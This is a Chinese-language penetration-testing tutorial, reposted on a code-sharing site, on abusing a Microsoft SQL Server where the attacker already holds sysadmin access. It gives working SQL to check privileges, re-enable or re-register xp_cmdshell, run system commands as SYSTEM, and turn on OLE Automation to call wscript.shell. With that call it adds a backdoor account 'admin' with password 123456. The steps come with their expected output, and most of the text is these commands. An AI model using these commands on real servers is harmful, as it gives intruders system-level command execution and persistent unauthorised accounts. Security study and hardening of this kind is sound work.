詳述MSSQL服務在滲透測試中的利用(上篇)


前言:

致力於復現最實用的漏洞利用過程。


本文將帶領大家學習以下內容:

  • 學習使用`xp_cmdshell`擴展存儲過程
  • 學習調用`wscript.shell`
  • 學習MSSQL寫文件
  • 學習沙盤模式提權
  • 學習注冊表映像劫持提

    part1 使用`xp_cmdshell`擴展存儲過程


    步驟1 連接MSSQL服務

    首先打開SQL查詢分析器如下填寫相關參數(此處數據庫相關信息假設是我們通過前期滲透測試得到。

    相關參數填寫完畢之后點擊`確定`進入該服務器MSSQL查詢分析頁面。
    登入對方的MSSQL服務之后,我們看到SQL查詢分析器的界面如下,請看圖示,了解查詢分析器的功能頁:

     

    如果沒有出現左側的對象瀏覽器,請點擊如上圖示的右上角紅框部分來開啟對象瀏覽器。

    查詢框用於輸入將要執行查詢的SQL語句。

    比如,我們在查詢框輸入一下語句來查看數據庫信息和系統版本:
select @@version


MSSQL語句后面可以跟`;`結束查詢或連接多句查詢。后面跟`--`可以達到注釋以后多余的語句的目的。

默認情況下我們查看到的結果並不完整,是表格查看方式,為了更明顯的查看到SQL查詢返回,我們點擊工具欄的`查詢`->`文本顯示結果`,然后再執行SQL語句:



此時可以看到完整的查詢結果為:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)  
        Oct 14 2005 00:33:37 
        Copyright (c) 1988-2005 Microsoft Corporation
        Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
        
(所影響的行數為 1 行)


MSSQL版本:`Microsoft SQL Server 2005`

服務器版本:`Windows NT 5.2(windows2003)`


步驟2 驗證權限並嘗試執行

我們使用一下SQL語句來檢測對方的MSSQL服務是否為`SA`權限(`sa`權限的MSSQL用戶一般來說對應的是系統的`system`權限):

select IS_SRVROLEMEMBER('sysadmin')


如果查詢結果返回`1`則說明是`SA`權限,很幸運,我們的目標機的`MSSQL`賬戶對應的是`SA`
權限。

使用以下SQL語句判斷目標機的MSSQL服務是否存在`xp_cmdshell`擴展存儲過程:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';


只要返回結果不是`0`就說明存在`xp_cmdshell`擴展存儲過程,啟用沒啟用我們稍后再作判斷:

 

如上,查詢返回`1`,即是存在`xp_cmdshell`擴展存儲過程,那么我們嘗試執行以下SQL語句使用`xp_cmdshell`擴展存儲過程來執行系統命令`whoami`(查看當前系統權限):

Exec master..xp_cmdshell 'whoami';


 

命令並沒有執行成功,得到了如下錯誤信息。

Error Message:SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此 服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。



步驟3 修復擴展存儲過程

幸運的是我們從報錯信息可以得出,`xp_cmdshell`擴展存儲過程沒被刪除,只是禁止訪問。於是我們就可以通過SQL語句啟用它。
(如果不支持多句執行的話,請單獨執行以分號分割的每句):

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


 

以上SQL語句的執行返回如下:

配置選項 'show advanced options' 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 'xp_cmdshell' 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。


SQL查詢返回如上則說明`xp_cmdshell`擴展存儲過程啟用成功。

啟用之后我們再使用以下SQL語句使用`xp_cmdshell`擴展存儲過程執行系統命令:

Exec master..xp_cmdshell 'whoami';


 

語句執行回顯如下:

output                                                                                                                                                                                                                                                           
---------
nt authority\system
NULL

(所影響的行數為 2 行)


如上,我們成功取得回顯,得知當前用戶權限是`SYSTEM`.

當然也可以進行windows的賬戶操作:

Exec master..xp_cmdshell 'net user';


> `net user`命令查看系統當前用戶情況 

步驟4 后續處理

如果`xp_cmdshell`擴展存儲過程被刪除,可以使用以下語句重新添加:

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';



使用以下語句來卸載存儲過程`xp_cmdshell`:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;


得到如下返回:

配置選項 'show advanced options' 已從 1 更改為 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 'xp_cmdshell' 已從 1 更改為 0。請運行 RECONFIGURE 語句進行安裝。



禁用之后我們再嘗試使用`xp_cmdshell`擴展存儲過程執行命令將不會成功:

Exec master..xp_cmdshell 'whoami';


 

若果想徹底刪除`xp_cmdshell`擴展存儲過程,建議在C盤里直接搜索`xplog70.dll` ,然后刪除之。


part2 調用`wscript.shell`




步驟1 恢復`sys.sp_OACreate`


當`xp_cmdshell`擴展存儲過程被刪除或者無法使用的情況,我們不妨試試利用`SP_OACreate`和`SP_OAMETHOD`調用系統`wscript.shell`執行系統命令。

Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';


如下可見,默認是不行的,有如下報錯信息:

SQL Server 阻止了對組件"Ole Automation Procedures"的 過程"sys.sp_OACreate"的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉


使用 `Ole Automation Procedures` 選項可指定是否可以在 `Transact-SQL` 批處理中實例化 `OLE Automation` 對象。 還可以使用基於策略的管理或者 `sp_configure` 存儲過程來配置這一選項。 有關詳細信息,請參閱外圍應用配置器。
可以將 `Ole Automation Procedures` 選項設置為以下值:

>`0`:禁用 OLE Automation Procedures。 SQL Server 新實例的默認值。
>`1`:啟用 OLE Automation Procedures。


當啟用 `OLE Automation Procedures `時,對 `sp_OACreate`的調用將會啟動 `OLE` 共享執行環境。
可以使用 `sp_configure` 系統存儲過程來查看和更改 `Ole Automation Procedures` 選項的當前值。

執行以下SQL語句查看 `OLE Automation Procedures` 的當前設置:

EXEC sp_configure 'Ole Automation Procedures';



默認情況下返回以下信息

minimum  maximum  config_value run_value
------- --------- ------------ ---------
   0        1          0           0



如上,`config_value` 和`run_value`的值都為0,表示禁用。

執行以下SQL語句啟用 `OLE Automation Procedures`:

exec sp_configure 'show advanced options', 1;  RECONFIGURE;  exec sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE;


 

配置選項 'show advanced options' 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 'Ole Automation Procedures' 已從 0 更改為 1。請運行 RECONFIGURE 語句進行安裝。



步驟2 利用`sys.sp_OACreate`

再試試利用`SP_OACreate`和`SP_OAMETHOD`調用系統`wscript.shell`執行系統命令。

Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';



如下圖可見,沒有報錯,成功執行了查詢,但是沒有看到CMD命令的回顯:

 

那么我們可以嘗試使用`xp_cmdshell`來驗證賬戶是否添加成功:

如果`xp_cmdshell`拓展存儲過程不存在,先使用以下語句恢復:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;



然后執行以下語句驗證是否通過利用`SP_OACreate`和`SP_OAMETHOD`調用系統`wscript.shell`執行了添加admin賬戶的系統命令:

Exec master..xp_cmdshell 'net user admin';



 

如上圖,存在admin賬戶,利用成功。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM